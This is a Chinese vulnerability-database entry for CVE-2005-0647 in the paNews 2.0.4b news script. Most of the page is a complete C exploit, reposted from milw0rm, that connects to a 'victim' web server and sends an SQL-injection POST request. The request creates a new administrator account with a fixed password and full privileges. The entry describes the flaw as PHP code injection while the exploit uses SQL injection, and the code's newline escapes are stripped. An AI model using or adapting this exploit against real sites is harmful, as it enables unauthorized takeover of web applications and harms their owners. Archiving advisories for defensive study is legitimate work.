paNews PHP代码注入漏洞
漏洞ID | 1108513 | 漏洞类型 | 未知 |
发布时间 | 2005-03-08 | 更新时间 | 2005-05-02 |
CVE编号 | CVE-2005-0647 |
CNNVD-ID | CNNVD-200505-429 |
漏洞平台 | PHP | CVSS评分 | 5.0 |
|漏洞来源
|漏洞详情
paNews2.0.4b中的admin_setup.php允许远程攻击者通过(1)$form[comments]或(2)$form[autoapprove]参数来注入任意PHP代码,并写入到config.php。
|漏洞EXP
/***************************************************
* *
* paNews v2.0b4 *
* *
* silePNEWSxpl *
* This exploit utilize SQL injection for create *
* a new user with admin privileges on paNews *
* software system. *
* *
* References: *
* packetstormsecurity.org/0503-exploits/panews.txt *
*
* *
* coded by: Silentium of Anacron Group Italy *
* date: 04/03/2005 *
* e-mail: anacrongroupitaly[at]autistici[dot]org *
* my_home: www.autistici.org/anacron-group-italy *
* *
* this tool is developed under GPL license *
* no(c) .:. copyleft *
* *
***************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 80 // port of the web server
void info(void);
void sendxpl(int sock, char *argv[]);
void errsock(void);
void errgeth(void);
void errconn(void);
int main(int argc, char *argv[]){
int sock, sockconn;
struct sockaddr_in addr;
struct hostent *hp;
if(argc!=4)
info();
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
errsock();
system("clear");
printf("[*] Creating socket [OK]n");
if((hp = gethostbyname(argv[1])) == NULL)
errgeth();
printf("[*] Resolving victim host [OK]n");
memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
sockconn = connect(sock,(struct sockaddr *)&addr,sizeof(addr));
if(sockconn < 0)
errsock();
printf("[*] Connecting at victim host [OK]n");
sendxpl(sock, argv);
printf("[*] Now check onn"
" http://%s%snn"
" your username: %sn"
" with password: anacronnn",argv[1],argv[2],argv[3]);
shutdown(sock, 2);
close(sock);
return(0);
}
void info(void){
system("clear");
printf("#########################################n"
"# paNews v2.0b4 exploit #n"
"#########################################n"
"# this exploit create a new user admin #n"
"# on paNews software system. #n"
"# exploit coded by Silentium #n"
"# Anacron Group Italy #n"
"# www.autistici.org/anacron-group-italy #n"
"#########################################nn"
"[usage]nn"
" silePNEWSxpl <victim> <path_paNews> <username>nn"
"[example]nn"
" silePNEWSxpl www.victim.com /panews/index.php silentiumnn");
exit(1);
}
void sendxpl(int sock, char *argv[]){
FILE *out;
int size = 264;
out = fdopen(sock,"a");
setbuf(out,NULL);
size+=(strlen(argv[3]) * 2);
fprintf(out,"POST %s HTTP/1.0n"
"Connection: Keep-Aliven"
"Pragma: no-cachen"
"Cache-control: no-cachen"
"Accept: text/html, image/jpeg, image/png, text/*, image/*, */*n"
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identityn"
"Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5n"
"Accept-Language: enn"
"Host: %sn"
"Referer: http://%s%sn"
"Content-Type: application/x-www-form-urlencodedn"
"Content-Length: %dnn"
"action%%3Dlogin%%26username%%3D%s%%26password%%3Danacron%%26"
"mysql_prefix%%3Dpanews_auth%%60%%20VALUES%%20(%%22%%22,%%22"
"%s%%22,%%22f63140655b379e65f6cd87fa3c3da631%%22,%%22"
"hackit%%22,%%22admins%%7Ccat%%7Ccomment%%7Cnewsadd%%7Cnewsedit"
"%%7Cprefset%%7Csetup%%22,%%22none%%22,%%22127.0.0.1%%22"
",1,1)%%00nn",argv[2],argv[1],argv[1],argv[2],size,argv[3],argv[3]);
printf("[*] Sending exploit [OK]nn");
}
void errsock(void){
system("clear");
printf("[x] Creating socket [FAILED]nn");
exit(1);
}
void errgeth(void){
printf("[x] Resolving victim host [FAILED]nn");
exit(1);
}
void errconn(void){
printf("[x] Connecting at victim host [FAILED]nn");
exit(1);
}
// milw0rm.com [2005-03-08]
|受影响的产品
PHP Arena paNews 2.0.4B
|参考资料
来源:MISC
链接:http://www.kernelpanik.org/docs/kernelpanik/panews.txt
来源:BUGTRAQ
名称:20050301KernelpanikLabsDigest2005-2
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110969774502370&w;=2
相关推荐: Novell Netware Enterprise Web Server Multiple Vulnerabilities
Novell Netware Enterprise Web Server Multiple Vulnerabilities 漏洞ID 1098933 漏洞类型 Input Validation Error 发布时间 2004-01-23 更新时间 2004-0…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666